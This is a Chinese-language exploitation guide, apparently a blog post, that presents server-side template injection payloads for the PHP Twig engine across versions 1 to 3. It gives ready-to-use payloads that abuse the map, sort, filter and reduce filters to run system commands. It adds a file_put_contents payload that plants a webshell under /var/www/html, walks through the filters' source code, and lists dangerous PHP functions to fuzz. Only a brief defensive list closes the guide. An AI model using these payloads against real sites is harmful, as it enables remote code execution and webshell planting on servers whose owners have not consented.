TWIG 全版本通用 SSTI payloads
字数 1244 2025-08-25 22:58:29
Twig 全版本通用 SSTI 利用指南
概述
Twig 是一个流行的 PHP 模板引擎,广泛应用于 Symfony 等框架中。本文档详细介绍了 Twig 模板引擎中存在的服务器端模板注入(SSTI)漏洞的利用方法,这些方法适用于 Twig 1.x、2.x 和 3.x 全版本。
核心 Payloads
以下是经过验证的有效 SSTI Payloads:
1. 使用 map 过滤器
{{["id"]|map("system")|join(",")}}
2. 使用 sort 过滤器
{{["id", 0]|sort("system")|join(",")}}
3. 使用 filter 过滤器
{{["id"]|filter("system")|join(",")}}
4. 使用 reduce 过滤器
{{[0, 0]|reduce("system", "id")|join(",")}}
5. 文件写入 Payload
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
技术原理分析
map 过滤器利用
Twig 的 map 过滤器实现如下:
function twig_array_map($array, $arrow) {
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v, $k);
}
return $r;
}
当传入字符串而非箭头函数时,Twig 会直接调用该字符串命名的函数。可利用的危险函数包括:
system(string $command [, int &$return_var])passthru(string $command [, int &$return_var])exec(string $command [, array &$output [, int &$return_var]])popen(string $command, string $mode)shell_exec(string $cmd)
sort 过滤器利用
sort 过滤器实现使用 PHP 的 uasort 函数:
function twig_sort_filter($array, $arrow = null) {
if (null !== $arrow) {
uasort($array, $arrow);
}
// ...
}
uasort 接受回调函数,因此可以直接传入命令执行函数。
filter 过滤器利用
filter 过滤器实现使用 array_filter:
function twig_array_filter($array, $arrow) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);
}
reduce 过滤器利用
reduce 过滤器实现使用 array_reduce:
function twig_array_reduce($array, $arrow, $initial = null) {
return array_reduce($array, $arrow, $initial);
}
注意 reduce 需要提供初始值作为命令参数。
高级利用技巧
文件写入技术
当直接命令执行被限制时,可以使用文件写入技术:
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
此 Payload 会创建一个包含 PHP 代码的 webshell。
函数 Fuzz 思路
理论上,任何接受回调函数参数的 PHP 函数都可能被利用。可以尝试以下方向:
- 命令执行类函数:
system,passthru,exec,shell_exec,popen - 文件操作类函数:
file_put_contents,fopen,unlink - 其他危险函数:
assert,create_function,call_user_func
防御建议
- 避免将用户输入直接作为模板内容渲染
- 对 Twig 模板进行沙箱限制
- 禁用危险的 PHP 函数
- 使用最新版本的 Twig 并关注安全更新
参考链接
- VolgaCTF 2020 Qualifier Writeup
- Twig 官方文档
- PHP 危险函数列表
通过以上方法,攻击者可以在存在 SSTI 漏洞的 Twig 模板系统中实现远程代码执行。防御方应重视模板引擎的安全配置,防止此类漏洞被利用。